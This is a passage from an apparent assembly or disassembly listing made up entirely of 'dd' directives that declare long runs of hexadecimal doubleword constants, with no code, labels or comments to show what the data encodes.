		dd 2E2744C1h, 0E1E034A1h, 38FDBD00h, 60046483h,	53D900C9h
		dd 21F78249h, 2F00D33Ch, 0F9698BD1h, 0E8171502h, 0AD9F181Bh
		dd 5D3C9670h, 0F05F7F00h, 0B72E1E1Ah, 73CD1CDEh, 49B580F6h
		dd 414E3397h, 0AF87A100h, 99F4B29h, 0F880B54Dh,	4AB97E0Ah
		dd 64C69900h, 1DF87379h, 4CA70086h, 5B9C26E0h, 0EB00090Eh
		dd 23EF4DC9h, 1E4F56Fh,	0E0932870h, 0D85B2E1Ch,	0DF00F0C5h
		dd 0A3595C7Bh, 149A5Eh,	657C3669h, 0E30AB71h, 0FB910703h
		dd 0C93BA715h, 0E8E00AB4h, 23AC1642h, 9AF8F4BAh, 0EC0078F8h
		dd 927784F3h, 4AB164h, 25E62DB8h, 326BDCF1h, 5DB75302h
		dd 0E0DA437Eh, 0B5EF06h, 45A2F58Bh, 5811290Eh, 34FBAE00h
		dd 0D3BC285Ch, 0E11025FCh, 0D25BFCE0h, 9CC44D3Eh, 0C84064B9h
		dd 0AD081D9Ah, 9FD300B3h, 0EB51ABF0h, 0D40373D5h, 0F73FE136h
		dd 1E0CC8B9h, 0C29B0E37h, 0A0606FA4h, 58E28975h, 0D711FB00h
		dd 804523ADh, 3829005Ah, 0DA73CBA3h, 52002D3Eh,	0D7C7E03Fh
		dd 30F406h, 9CB35193h, 0A8F86259h, 0D0E92000h, 0DB9BED4Ah
		dd 0D51D13C0h, 159CE081h, 0BC426C1Fh, 668B6440h, 76DCABEh
		dd 1BAE3F7Ah, 30925081h, 0E00FB67h, 88DBC7C4h, 0BC7FA9FFh
		dd 0E9003CE4h, 925E857Bh, 6000F30Bh, 0F15F01B4h, 0ECC36570h
		dd 0FBB00005h, 0EF24698Fh, 95000DE9h, 0CCCED376h, 0B8819857h
		dd 5D4C006Ch, 0D12BBFDh, 6008DCAh, 7A0992B7h, 20EBEB4h
		dd 0CDE15AC2h, 0D67E15h, 0C443DE17h, 0D8600A58h, 3D5D6h
		dd 0AE46AAB4h, 0D11C654Fh, 4DB81677h, 10CCE330h, 1EFB519Eh
		dd 40970D5Ah, 8C108161h, 0B8017FA8h, 0CB9AD93Dh, 76F9448Eh
		dd 5E10DDC5h, 7E00166Eh, 74A6112Dh, 0F81EB1h, 0FF2EC68Ah
		dd 32D2D34Ah, 0FB3AAC7Ch, 0B3379842h, 0C0CE6C80h, 0D2A83B20h
		dd 0B2619A98h, 82649619h, 99ACD8h, 67E1401Eh, 7BBED2F9h
		dd 0EB3B6916h, 0B1B23500h, 0E8E3D83Dh, 1436001Bh, 50AC83DFh
		dd 0D40040EFh, 9B981A17h, 25B2BDh, 262FCE62h, 97DDDBABh
		dd 85F0C100h, 0B486607Eh, 0C7640082h, 6F9E45E3h, 434C2EF6h
		dd 6A9600EDh, 13C1F36Bh, 547301F1h, 15013D1Ch, 797AEC8Bh
		dd 0A245600h, 0B6B4EE36h, 0D7B70126h, 0D11161C1h, 2948F837h
		dd 0A415BC03h, 9803DEC9h, 3899E047h, 8C80F313h,	0F16EF9C3h
		dd 590064EAh, 57F72E91h, 463A241h, 5EB20219h, 0C09DC733h
		dd 3DE34CCAh, 0AC24A503h, 9B169CFDh, 0AA23C8BFh, 0D25807DEh
		dd 801DC6ABh, 7722DD81h, 856B4F07h, 3CF7887h, 0BFC58CFBh
		dd 356AAB81h, 543282C8h, 39BC9Fh, 0CC14BB57h, 4BAE2BA3h
		dd 0F1C76600h, 6B76DCD2h, 174E8C3h, 6D1BC5F5h, 8F7F922Dh
		dd 0C0200738h, 328B5BBFh, 0CE090075h, 0D429B981h, 0A80036C8h
		dd 1B053157h, 9848F9h, 0A4C0BB88h, 8D8A3F1Ah, 96943802h
		dd 0C0FC2362h, 0CE0726h, 0FB09C6E3h, 0C489582Ah, 0ED03927Fh
		dd 0D0DC2720h, 54D2D0C2h, 0A1EA1C83h, 99A701C8h, 0D423DFF9h
		dd 7D00ADAEh, 3AAC63D5h, 9EB87E4h, 2FBDC82Ah, 0FB07E980h
		dd 9B030F18h, 155A1705h, 8D5F91E3h, 0A4D64040h,	89141E7Fh
		dd 770C8040h, 0BF3B22D2h, 9D1ED700h, 4F1FB518h,	0C8420047h
		dd 0C30777Dh, 9079FB93h, 61608E60h, 1F686D05h, 1CAA075Fh
		dd 7FBF40A1h, 0A4477B86h, 20CFBE01h, 7D597053h,	0F4CDA440h
		dd 0D71E0288h, 0F6F57F4Ch, 54EE40DFh, 0C5C70069h, 0CE9A1BE1h
		dd 0BCA8665Eh, 80003410h, 0FBDCB950h, 0DD6D8459h, 0D8A28070h
		dd 9856A8D6h, 4E631900h, 339C0F3Eh, 0C0C100B0h,	0AD48926Eh
		dd 7EF677D0h, 113A50C0h, 723CF28Ch, 0DF9D0074h,	230F9B3Fh
		dd 570081F9h, 0DAB28BBEh, 1E85698Ch, 4C3B11E1h,	53F0FD14h
		dd 9967B937h, 0FFFE73D0h, 0FA6A1876h, 0B5242109h, 54C4C10Fh
		dd 0F80FD32h, 63876889h, 69E71E8Ch, 43820001h, 0CCA82345h
		dd 0BC6BDE1Ch, 9A0B8700h, 1D0C55h, 0F72829E2h, 0BE486E82h
		dd 0C6007977h, 8A719A57h, 0C2F10Eh, 2C0F15BDh, 0C727CB58h
		dd 0A728CD01h, 0A6F03331h, 0A99FF0h, 56320AFDh,	3E645B17h
		dd 7100807Fh, 3B453CEDh, 4BF2268h, 5A6BACFh, 5B03FEBDh
		dd 80C3605Ch, 10CEB3h
		dd 0F00C6131h, 1AF2ED13h, 0F46072F4h, 52D82C98h, 2ADE0307h
		dd 40C51B6Dh, 0D48369E0h, 0AE371607h, 0F0DC6821h, 2203009Dh
		dd 5D31A0DAh, 84A02FD6h, 0EC01C48Eh, 45856095h,	2C40892Bh
		dd 80D62A16h, 840F87h, 95A918ACh, 2617421h, 4AD6E88h, 125D366Bh
		dd 9F042794h, 21FF7F44h, 231188EAh, 763C08F1h, 60B0C296h
		dd 0BE21030Dh, 0EE02A7F3h, 88940C18h, 25020943h, 0E2D82D5Ah
		dd 0E1AF2278h, 4023D010h, 0DD50CCABh, 0F630162Ch, 788AB055h
		dd 0A848886Dh, 60B72840h, 704958DBh, 38CFA07Eh,	9717C082h
		dd 14110Ah, 0BB06E15Fh,	2696086Dh, 69A27800h, 88532AC4h
		dd 35D107B8h, 4031AE05h, 0E2A8F69Ah, 44B448h, 45DEF569h
		dd 0C1AEAAC4h, 9D3D43C8h, 7C88807Dh, 0E564874Ah, 2A410037h
		dd 0E4A7E2E1h, 4D0114A8h, 11852905h, 0C8607510h, 60013E95h
		dd 4B7ADA80h, 0CC921F22h, 0D4B20600h, 35BAF6B7h, 625A0019h
		dd 16240AB8h, 9A0EC654h, 8ABBE844h, 0F080F8B9h,	7D515E07h
		dd 0A5BA00F5h, 0A3554CCh, 6600E4ADh, 500EBD36h,	22ADF47h
		dd 67D4C3CEh, 2C406E59h, 0CD001E22h, 86220A4h, 0F96CAF65h
		dd 0A0C503D0h, 3CBF539Ch, 0EA0E43C3h, 6D208F96h, 8C5C213Ah
		dd 0DA85B800h, 11F6AE3Ch, 0B7031EC3h, 5049064Ah, 0E9586081h
		dd 5A6D1F2Ah, 1138BA41h, 30D0C98Fh, 0BF98A07Fh,	0CAED03BBh
		dd 0DC377098h, 27BD5FE0h, 60802A30h, 763D45Dh, 94AF16F6h
		dd 8013656Ch, 936EFFF2h, 0F150E600h, 0A17CF751h, 699A186Dh
		dd 1FD028AAh, 624E1E01h, 2ACAF130h, 0C2D002E5h,	0E120C0C0h
		dd 0A19E16B6h, 6403DF98h, 2DDA0F80h, 9F6800B1h,	6CAA5BFBh
		dd 81001AB0h, 8C93D1E7h, 0CF608Fh, 911227A2h, 0FCB50986h
		dd 83E7BC00h, 0F19B8CA6h, 3C6E07E6h, 90E823F6h,	7DFA35B5h
		dd 67440E00h, 0B859F1D2h, 398400CCh, 6A78EB49h,	5701C03Ch
		dd 3730C9Bh, 74C46F01h,	0D0850079h, 96B86975h, 0DF006368h
		dd 0AAEBE6C1h, 3BEEDC35h, 1D8033D6h, 0F8E7175Fh, 4DF8C796h
		dd 433EBC07h, 4260B8C2h, 17D60D6Fh, 9AD805h, 4BCD0430h
		dd 48DDCC3Dh, 61E5F540h, 3EF742h, 488D36B7h, 0F6DA5EB0h
		dd 0E69BAF00h, 459DDD02h, 0F40A3F94h, 7C8ED200h, 9E0BC753h
		dd 22AA360Eh, 0CBBAE18Ah, 4FF4167Ah, 33AE00EBh,	3CD5236Ah
		dd 45000637h, 1AE2C76Ch, 6BFD91h, 571EE515h, 0AF5854B7h
		dd 0F410E3Ah, 83FCD171h, 0FF68E72Fh, 0AC9A81C0h, 0AAE42665h
		dd 0EEA40790h, 0A364C73Bh, 5D80E28Fh, 0EA1ED048h, 74AD16FCh
		dd 0CF5000E9h, 1FA0CC7Dh, 758A1300h, 0DC236BE0h, 36EB0015h
		dd 4E3F7EF0h, 10003364h, 0AF5A8CAAh, 12A3ABh, 6BFBD81Dh
		dd 1A45C3A2h, 900E6FF0h, 47194ECDh, 0E070B4F5h,	0DD05C8h
		dd 0B0FCB46h, 0DC175470h, 4AFBAF0h, 0B9EF4BE0h,	2EF811h
		dd 9742882Dh, 568E5101h, 5ECBA01h, 0C991376Bh, 0FFC0DDD9h
		dd 2AD4312Eh, 72F1529h,	528FC000h, 77DC0038h, 24AA810Bh
		dd 0F4039940h, 51D22767h, 0D144B869h, 3B3D1CA6h, 7FB98015h
		dd 0C826F087h, 0E8BCDA1Fh, 4A3AE240h, 7D442Fh, 53B0305Dh
		dd 57542A3Eh, 74000E74h, 1746EE26h, 0A9326Eh, 36F996C8h
		dd 40161B4Ah, 87478539h, 0E63A27FAh, 954D9900h,	1182078Ch
		dd 0C5D26Bh, 6EC17AE7h,	0DD26FE09h, 9C210122h, 13F0D3CDh
		dd 20AB38E9h, 0EA80007Fh, 50B5E527h, 777DD917h,	9CCEB200h
		dd 75942EB1h, 2FDC1D21h, 34D6C0C7h, 387D0E19h, 5B0FA700h
		dd 1403B8C1h, 4F9C0009h, 946B96CEh, 1E03E16Ah, 8FDF2F27h
		dd 9E95E0F5h, 0A5DB000Bh, 256E67FBh, 7D07278Dh,	0B7EEE7D2h
		dd 0A67F1D20h, 9F7F2Fh,	93D8D357h, 2D4B4ABh, 0BF004FE2h
		dd 0A33DFBDDh, 3CC26C50h, 648078D7h, 0CE8ACF1Ch, 0ADFAAF09h
		dd 0F11FE174h, 75402F56h, 6E890780h, 47920712h,	0B09CA109h
		dd 2CC93751h, 6C002AE4h, 4961947Ch, 1A14889h, 1E123FAFh
		dd 0D39B5532h, 0C60A09B0h, 0D0074DF0h, 0E16FC33Ah, 781C200h
		dd 1BE7004Ah, 0A7CCED9Ah, 2A077924h, 2140F35Ch,	0EC9A0DEh
		dd 168E148h, 9CDC3D4Eh,	0CFC28C39h, 5706EDD8h, 21F22600h
		dd 671BF91Ch, 986EE8F5h, 0EB6C0037h, 76DDB2A0h,	1C006FC4h
		dd 0E0268DE5h, 3E5D2B6Dh, 0D7137383h, 7700BE18h, 7FE7A8FBh
		dd 0CBBF0075h, 0CF6D3595h, 0EE7CF667h, 5666E100h, 145CAC5Ah
		dd 8B610025h, 9AF83529h, 770097D8h, 3EDBDD3Ah, 3955698h
		dd 8B2938B0h, 0E28743E8h, 0A040C555h, 0CD0065FCh, 821B7497h
		dd 0E0B56A22h, 489E0EB1h, 9860B0E7h, 0B9315A3Dh, 0BC0B1A01h
		dd 0D4691FDAh, 558AD4h,	8D6782A1h, 0F5F68025h, 0B502A300h
		dd 0C1C7830Eh, 795100CEh, 0D4785CA5h, 7000D641h, 775EE9E8h
		dd 9CD98h, 5FF2D8EBh, 84496CC4h, 0A153820Fh, 1B6BC0E2h
		dd 85C014h, 57A4DFF9h, 70B29211h, 3F20A900h, 587666E7h
		dd 65E3044Ch, 0C01FD883h, 4593AB10h, 0D5F05F0Eh, 0EEFFA0B8h
		dd 0C8F65Eh, 0DBD9377Dh, 8B15582Fh, 0A634ED00h,	94A7E905h
		dd 80060357h, 0C9D6B4F1h, 0F77EBA07h, 0DDD0F5E1h, 77B85Bh
		dd 36B91AA5h, 95F46599h, 38BC7600h, 501C3724h, 0FFF500D0h
		dd 700CB219h, 303F3301h, 20940081h, 66A8D82h, 64D71790h
		dd 16660045h, 0F46198A3h, 0EAD5DF00h, 1572A54Fh, 64F03D3Ch
		dd 4CBD8C80h, 0C9A19706h, 5417AF00h, 4A4BC244h,	0B1CC0132h
		dd 638D020Ah, 0ABA870ECh, 35699809h, 0EBF30086h, 0A79AE2h
		dd 0D81BEE6Eh, 3A8B9314h, 7576700h, 0DCD6CA04h,	0C4A61920h
		dd 3044A4CEh, 0C507A1D8h, 0C2E16007h, 0B1F29A40h, 0FFD70079h
		dd 6C2DFCB9h, 43DA8CCh,	229980D0h, 31B61AE8h, 71630E94h
		dd 922E2AEh, 9460C4C8h,	0F0038684h, 2F2BBA23h, 6332D07Eh
		dd 9A830082h, 1735332Dh, 0E300FFE1h, 62CA21C7h,	58EFA955h
		dd 841E34D1h, 78C800EEh, 0C423EAC6h, 0D5E18A26h, 66BA0A01h
		dd 0F0FFDD06h, 7DE04Ah,	195ED09Eh, 36702940h, 0FD010892h
		dd 2C3DF392h, 0D9DCE10Dh, 5EE00E71h, 0E3641361h, 7D12EB36h
		dd 0FE789C00h, 9BD487h,	9EDB7570h, 0AA3D60E4h, 92C11D00h
		dd 78BB37A9h, 6E2600D7h, 0DC153A8Dh, 0B5011741h, 0FF7AC7F1h
		dd 402096A0h, 0AAAB0097h, 2D529B78h, 6B004DFBh,	38509992h
		dd 0FD7E40h, 0A63A0579h, 54FA8CEFh, 37DC040Ah, 5C00D0FBh
		dd 36C6BE1Ch, 0AFF40340h, 0BF724D58h, 309653D1h, 8B091484h
		dd 8E6BB0h, 2826DA2Ch, 67CB1882h, 6325F82Ah, 0B8409803h
		dd 0E0BC7B42h, 5670F3h,	0B9F623A8h, 5AEE9EEAh, 0C445D900h
		dd 34162FF0h, 4A841EA9h, 42CC8090h, 1D7EEF79h, 0F1323712h
		dd 0E343C51Eh, 0D8B7C930h, 1B1702Ah, 4135C79Fh,	0DC9274E9h
		dd 0DC589A66h, 466200CBh, 0EF9CF0E4h, 0BA18003Fh, 26CC04DFh
		dd 75059F78h, 0D7B0DA09h, 1E4ED45Eh, 0D32900EEh, 301156h
		dd 9A8A4910h, 0BC39A473h, 8027C23Eh, 65A86C03h,	0B0DEFFh
		dd 6AB827Fh, 0C4408E2Eh, 0E9D88500h, 0F04D8310h, 58994851h
		dd 0E8BE0E76h, 854BABE6h, 20174C80h, 0B94C08BBh, 7ED6070Ah
		dd 3843DCBFh, 0A29FF9E4h, 1883B820h, 0A011EE35h, 29005A6Dh
		dd 287FD764h, 0E4AF5DA6h, 21906FD5h, 0F8048C0h,	0BE009B36h
		dd 327074C0h, 4817163Bh, 3103F4E7h, 5F369230h, 57420CD8h
		dd 0A04AA700h, 0E8B49FD1h, 0BE1900BCh, 7A9D7452h, 0AD0037B0h
		dd 8102CD4Eh, 0F964091h, 60DBF24h, 758CDDC3h, 8701487Eh
		dd 5BE8A728h
		dd 4850D8B2h, 400E5A5Fh, 0F71FE0FEh, 803A4989h,	0C155804Dh
		dd 0FA5B44h, 43A33B76h,	41753753h, 0FB21C800h, 8A77E612h
		dd 0D01D54B1h, 7FD675BCh, 24310076h, 0E9E76AEAh, 9C00A989h
		dd 0B4790308h, 1E1C587Bh, 93BA924Eh, 4F281DCDh,	0F6407CF8h
		dd 379DBB44h, 0B82D2F00h, 3FDD5912h, 72980045h,	0DC820B9Ch
		dd 8E000A47h, 17541393h, 718CCF4Dh, 0C84801FFh,	39F3BBAAh
		dd 580AD3B7h, 0E8FA9BAEh, 1C5F4CBEh, 6180718Eh,	0BFE82991h
		dd 0BE75002Ch, 35EB43F4h, 0F318BCF0h, 0D2474CCh, 3EAB004Ch
		dd 7D4296E6h, 0E7F20690h, 114051C1h, 17C0E59Ah,	537510h
		dd 0B5321665h, 778B1AD9h, 0B1C73C00h, 5575F1A3h, 0F6710035h
		dd 7460494Ah, 392AD710h, 31718001h, 0D42ACB1Dh,	956483C3h
		dd 6A82D04Eh, 62B12594h, 1AE6C21h, 5C818041h, 0E4757612h
		dd 212A610Dh, 0D424A414h, 222A2C71h, 3300F4AAh,	6E75519h
		dd 502B4ACFh, 7AEED8FAh, 65213CF6h, 0D70CC900h,	0D28FAA34h
		dd 8798253Ch, 0C3E3A878h, 4B12180h, 9C55072Bh, 46890349h
		dd 0B80021CAh, 3EA6165Dh, 0FE6335FFh, 9DCF00E2h, 8D0C5EC9h
		dd 450FF7B2h, 0A05D584Fh, 0FA78DE35h, 277C0Bh, 4620D76h
		dd 0ED9D43C8h, 0BBE4951Ch, 387E44C7h, 0B390AB90h, 0DF770E1Ch
		dd 0E4E0A7CDh, 7966BACh, 7E66A000h, 0E5F7A69Bh,	0C160DC52h
		dd 0BF0463E4h, 0A0A6DFA7h, 8F60E18h, 0F678191h,	40800FFEh
		dd 8518B7A0h, 90905D56h, 37776102h, 97D1704Dh, 77350880h
		dd 20CFF760h, 14A91D13h, 0E788C041h, 84187091h,	0E9B32300h
		dd 518D81C4h, 0B8460086h, 0E698CF44h, 0F60094ACh, 75DD0EB3h
		dd 2C72E115h, 5DA504h, 0FBCE40C2h, 790005E7h, 368FCB33h
		dd 0E39345h, 0EB50296Eh, 6C349B43h, 9F9C6900h, 6BE5EA25h
		dd 6E3A00BEh, 0BA2B5E4Ah, 0E307C962h, 678FE6C5h, 483BAFC0h
		dd 104F0094h, 574959DCh, 900AD05h, 0CC971744h, 0F09AF85Ah
		dd 7B2100F1h, 1384E05Fh, 0B9001B4Eh, 5C542ABDh,	0D9A3AEh
		dd 0BAAE434h, 502D751Ah, 16FD3100h, 77657471h, 0D5D200D8h
		dd 478D6B78h, 85002F82h, 90C150DDh, 2E896034h, 0A8E9D6h
		dd 772805B1h, 0BA000920h, 0D2C7385Ah, 39611415h, 6D801FA7h
		dd 0EE88750Fh, 31000960h, 0D4CA35BBh, 2D566Ch, 5BF8EA90h
		dd 0AA6080B0h, 0D2C8ED01h, 112B627Bh, 0F943F4h,	76674CB4h
		dd 9065139Fh, 0F589FB00h, 0BA9EAA3Fh, 0A21B3818h, 7527D380h
		dd 721038D5h, 11B1D750h, 0FF71521Eh, 0E2A1768Eh, 0C0E27C1Ah
		dd 1FAE488Dh, 26E8CB74h, 278600F9h, 0FAC9F73h, 7EC28F00h
		dd 7C65293Dh, 5D5000FBh, 33521E0h, 8B54191Dh, 800A9B80h
		dd 8CC99052h, 9415A907h, 34C58CC0h, 70EFE91h, 4C446D2Dh
		dd 648BC0C0h, 81007586h, 61F7BCEBh, 3C60E0EEh, 0A8078AEAh
		dd 93630C1Dh, 27A8DF07h, 0CA006AF2h, 2C394D7Ch,	55219Eh
		dd 0B787DB97h, 0D76896AFh, 0D38C5A03h, 0E0B46B6Ch, 1C9BB63h
		dd 0B33B1E9Dh, 0D11B2DE2h, 521DF44Fh, 2A9B4000h, 0E0B792FEh
		dd 0DB4C1D7Eh, 841CC00Ah, 0E267FC5Ch, 0C1061E0Fh, 695BC0CEh
		dd 15E2426h, 46D0B499h,	80710467h, 5D32BD18h, 3BB66Ah
		dd 9A5E2AF9h, 841EAF30h, 0D769810Fh, 0BD42004Eh, 0F059D92h
		dd 0C34B6059h, 8D801929h, 6C3D362Dh, 0CB254E00h, 9B526B64h
		dd 88FD0FDFh, 9D80BFCFh, 0EA8A8613h, 0F6617B07h, 26C0DED5h
		dd 1C0465FFh, 1F39B8D0h, 307900EFh, 755B4E64h, 73DB43Ah
		dd 8CD90221h, 80EBBA77h, 96E7A736h, 1C9F004Ah, 0E5D1098Fh
		dd 0D37D7388h, 29F2B9A0h, 0C1472614h, 51C60088h, 0D684B438h
		dd 0E82B004Eh, 69599EE7h, 743E135Dh, 0C7F00317h, 0C17522A5h
		dd 0F8CB6458h, 63A3A8h,	3A7E9A48h, 2D6D92CBh, 8DF31801h
		dd 2C40B5D3h, 81A50881h, 0EC07E54Eh, 0BB002560h, 5A84193Eh
		dd 0E1176Fh, 0C56A18Ch,	0D187E4C0h, 4BB8F100h, 342516EDh
		dd 89DF0CB4h, 4318F37Dh, 1D14A200h, 508E5674h, 2A260033h
		dd 0E91A7544h, 30003E76h, 4E70D160h, 7D3DEAEh, 0E8C55AD2h
		dd 0EEFA043h, 7600B40Ch, 4D2A6846h, 7D492C64h, 0A85A00CBh
		dd 0A153E55Fh, 0D7008C7Fh, 372D0CA7h, 5B2C27h, 29D63A96h
		dd 436B38D8h, 0C28CAD00h, 0FF930865h, 3A3E0006h, 1FBAE403h
		dd 0E1007E01h, 599DFEB3h, 244289D4h, 0EB8AA9h, 0D627F658h
		dd 7D14B4B2h, 149940F9h, 0B02038CCh, 869B0DD0h,	0EF805000h
		dd 6CE42F98h, 51473943h, 0CE9A6983h, 0B4006111h, 0BDF127B9h
		dd 0B975334h, 0FE5FEB2h, 0C25FFA00h, 8300F72Ch,	0BF1BD53Bh
		dd 382DDB9Ah, 938FF003h, 10009869h, 0D52BE933h,	80ADEB3Eh
		dd 0A485FD7Dh, 3B16E564h, 988007D3h, 5D5550B2h,	0B0171B92h
		dd 0E3002886h, 0E5634060h, 0EBD90A38h, 0A425C4h, 6294BF39h
		dd 1DE81C5Bh, 5458E465h, 1F9CAF80h, 0BA4D008Ch,	0B4A1C651h
		dd 0ED0F7012h, 0A7C76390h, 0A9B05B41h, 7AD1C2Bh, 0CEF8E23h
		dd 0E313A14Dh, 1F805CD0h, 6FD1B701h, 4ECC34ABh,	77AD010Eh
		dd 3B64FB18h, 142372D8h, 0F03967EBh, 52215400h,	90619AA1h
		dd 0E70C4600h, 0E8DB5B8Dh, 0ECF001A9h, 0DAFF12D9h, 9AC8CBC8h
		dd 0DF28EE1Dh, 5E00A0E3h, 0AB89429Fh, 74727B0Ah, 5DC0E8Dh
		dd 934056E9h, 85A6155Bh, 0D0A8F614h, 0AA2BB020h, 0DBF81060h
		dd 0FF940573h, 37C0AC3Dh, 11F07CAh, 2AE64957h, 41AA45F0h
		dd 0F0ABFED0h, 4100CFDFh, 49A96842h, 0A46D6BD5h, 0C36600C8h
		dd 0A7DCCE28h, 790FF82Eh, 8FAD92h, 0FF2A9594h, 0B8EE42Dh
		dd 7D03CB9Ah, 87641103h, 0E97582B0h, 2BEF0A01h,	1153E2C1h
		dd 0BEAFE03Eh, 0A2263800h, 0D665C80Bh, 6E9C4810h, 16932Ch
		dd 0B10E3647h, 8D4C7E97h, 68A801CDh, 24DD58A5h,	23C8FCh
		dd 27645DFEh, 0F969ADE6h, 1D169900h, 6F3DFDDEh,	97C00EF0h
		dd 40BFA752h, 0BFD2D15Dh, 0B67B3784h, 489C48h, 59D844E9h
		dd 3161BD7h, 9A0DA8D1h,	0BAA8A6C6h, 5574373Eh, 2FBFC218h
		dd 80A49838h, 0DA00D21Dh, 0E33139A5h, 186FCBD8h, 468865B8h
		dd 80A0B282h, 8C3A36Dh,	8770C2E5h, 0F74D4CC0h, 0F04B5E17h
		dd 3600AEE4h, 0C908AFE4h, 0CA4790Ah, 98316C38h,	0B501E518h
		dd 0D035334Ch, 6F303764h, 0BFCC05ACh, 0C0E0BE50h, 0A2E5AA73h
		dd 656AB51Ch, 0B0FBB40h, 56951FDh, 6E9E18Ch, 4C85C76Dh
		dd 990112EEh, 1E787D81h, 69F49BC2h, 31E800F7h, 0F4D1AC3Fh
		dd 9701E5F5h, 0BB1F812Eh, 18C71142h, 0A1092798h, 8000781Eh
		dd 45B649F3h, 0E4315Ah,	4E0169F4h, 59B9195Dh, 173C2424h
		dd 0E34C2900h, 16DFA3DEh, 0EDBB328h, 27E74F5h, 0BE1E3F7Fh
		dd 0EC4794C1h, 0BB3C7310h, 1107000Ah, 0EF608E2Eh, 516A07D0h
		dd 0B04E5B6Dh, 0DFCE31F2h, 0D82F5005h, 7E8362C7h, 983C83D9h
		dd 94F2EAh, 0E423904Ch,	534BE095h, 80B2C500h, 8958DAC2h
		dd 2F9903DEh, 46D329C8h, 8D03F5B8h, 0A4FCA60Eh,	3E5040BFh
		dd 60421Ch, 876138Bh, 8E126A04h, 45996800h, 6C5180BDh
		dd 0C9360EB8h, 0BC015621h, 0E4F43406h, 15009894h, 0A846FD31h
		dd 161E97h, 8E3DB29Dh, 0EE90B86Dh, 0E5731200h, 2D7E75B7h
		dd 0F7E800EAh, 44033965h, 1CBA2FBDh, 60018478h,	0B810EB7Dh
		dd 6EF00B81h, 7530062h,	1D35C2C7h, 91345E6h, 2A00A822h
		dd 48375FD1h, 75AB00EDh, 8D47B208h, 57035220h, 4CE7AABEh
		dd 3C59D0EBh, 8EB300B0h, 0CBA61940h, 8C001B78h,	0E7ADF7E9h
		dd 3F8F2FA2h, 0B70CF574h
		dd 0A831E66Eh, 77E9D800h, 1C09995Ch, 43393E44h,	1D832B00h
		dd 0E3C7C510h, 0DC683F2Ch, 753C3502h, 47A61C8h,	1FBC1080h
		dd 0FD5EA656h, 229D100h, 0AC5C09C1h, 317601E8h,	0B3BD8C04h
		dd 40E5CB48h, 2CDF2124h, 0C6005597h, 7B6329E2h,	0A1F8534h
		dd 0F7F3BD84h, 0EE686C18h, 616BFB0Ah, 250118DEh, 0D3BDBA5Eh
		dd 0D460610Ah, 0C51851DDh, 0BD859001h, 0E3C08753h, 37230E1Ch
		dd 0F365006Ah, 8894FCFFh, 84E3C023h, 60486CACh,	29399E05h
		dd 4060D175h, 0FD0AF51Eh, 1DA508FFh, 69FC9CB1h,	0FB544230h
		dd 76F4538h, 0D213B222h, 5BD34078h, 711476D7h, 2BE833A7h
		dd 0E6853C48h, 24204AF2h, 0A0BD96E5h, 0EAB8BC9Ch, 440A573h
		dd 528DD234h, 6F283C00h, 551506h, 2B1F84F8h, 5DD364B4h
		dd 72B11600h, 3D2738D6h, 31CA6033h, 0B347AA4Fh,	4B585Ch
		dd 8FC1385Ah, 7566F89Eh, 409818F0h, 0CC5184Ah, 2C58552Ah
		dd 707BC400h, 8E47D910h, 0CF7212A4h, 367A0765h,	774880F8h
		dd 940F4F4Eh, 0CBAEF04Ah, 39CA8C3Ah, 0D91904D3h, 30BBB492h
		dd 222518h, 344FCE62h, 70FB4D93h, 71624C43h, 38307852h
		dd 0BC050025h, 5034462Fh, 1507358Fh, 12F22E8Dh,	0A039EE40h
		dd 992F3CBEh, 778E6580h, 6D501C59h, 15767E3Ch, 845051D9h
		dd 58718331h, 0FBCE0DAh, 73F4A607h, 3AE4AD4Eh, 0B4693770h
		dd 0D09C21h, 0BCEA3378h, 8CA00B8Fh, 0A8C93AAEh,	854A8F6Fh
		dd 9401E8AFh, 767DF2D0h, 90842C5Dh, 61CB55A9h, 0F8802898h
		dd 8D3C884Fh, 50DE098Eh, 8FF09018h, 0BD9C0779h,	409DB6CFh
		dd 7342920Fh, 2D81CE1Dh, 8EAC6E07h, 0B8770E82h,	0A4CC2764h
		dd 0F2970EB4h, 5B8AC1EFh, 708418ECh, 9365160Eh,	881EAF68h
		dd 942F030Eh, 2253B1A8h, 6003ABD0h, 0B6A510ACh,	0D30275AFh
		dd 0F398379Fh, 48449442h, 5C1878D2h, 92B8280Ah,	0AF566309h
		dd 0B20C38B7h, 0B38719B4h, 0F4D828A2h, 0E3162C6h, 0D76F30A5h
		dd 98A3484Ch, 9E1E3085h, 1124F830h, 0F4AE6204h,	7F2C5330h
		dd 0A27AEB11h, 1561809h, 0D40E001Ch, 9ADD936Fh,	57115028h
		dd 0F5001462h, 0BF108192h, 5873379Dh, 0B8CFA8C5h, 0F24D6C30h
		dd 1C7973ACh, 8578379Ch, 822E62FFh, 54B84F4Ch, 3B788A0Ch
		dd 98300562h, 1809E74h,	0E6FCA7F5h, 9836AD10h, 0BC58A976h
		dd 856EE825h, 499D2B01h, 0D800A305h, 4F71585Eh,	0E300C60h
		dd 0A6590C4h, 73E82E4Eh, 64ACE020h, 360D145h, 72B3F870h
		dd 0FB30031Ah, 9B0F4F13h, 2F8E3804h, 18CB48FCh,	0A6802203h
		dd 40096C3Ch, 85275418h, 0F406E514h, 291067AEh,	9F1CB1EEh
		dd 62E8DD7Dh, 297A3831h, 78A90FF7h, 4B784038h, 31C197B8h
		dd 6421CD58h, 4AC06822h, 0A427A550h, 622FCCA8h,	300410A4h
		dd 0A74B9BDAh, 84A09804h, 6DC1EE30h, 60227016h,	4B234380h
		dd 42055D7Ah, 5AC5B805h, 0AF6DC38h, 0E0EBDA3Eh,	0D695BAC4h
		dd 6DC05062h, 13217A6Bh, 5220F880h, 0B781285Dh,	0CA441207h
		dd 38E11801h, 994AC420h, 0D168E3C0h, 91941EF0h,	35380500h
		dd 0ABAE6528h, 0EE6F1861h, 0C0CE0818h, 0AFB07509h, 0CF488014h
		dd 381C6E8Ah, 3778E690h, 0C008310Fh, 0D048D201h, 206BF033h
		dd 4A290073h, 313B3806h, 5B1E499Ah, 9B063F9Ch, 4018E9D4h
		dd 9D63DB74h, 0AF3EEE80h, 0F6D1BB81h, 7E72420h,	1A0F5429h
		dd 20907D9Ah, 91262F84h, 3D0C90B4h, 9A36109Fh, 231C3188h
		dd 0F156A0C8h, 0BE90F38Fh, 0C898324Fh, 0CC82CE26h, 0A42F798Ch
		dd 38AD58F2h, 2E40E431h, 2603466h, 0D01A6100h, 0AE767901h
		dd 0FCFB4C6Bh, 0E629B230h, 19756FCFh, 63D908C3h, 9A99C018h
		dd 38F1802Bh, 11BB2D0Fh, 1DB984F6h, 28021906h, 69ED938h
		dd 70C1B2Dh, 0E7A63E08h, 0F0B1793Ch, 0E0195320h, 3C8880F9h
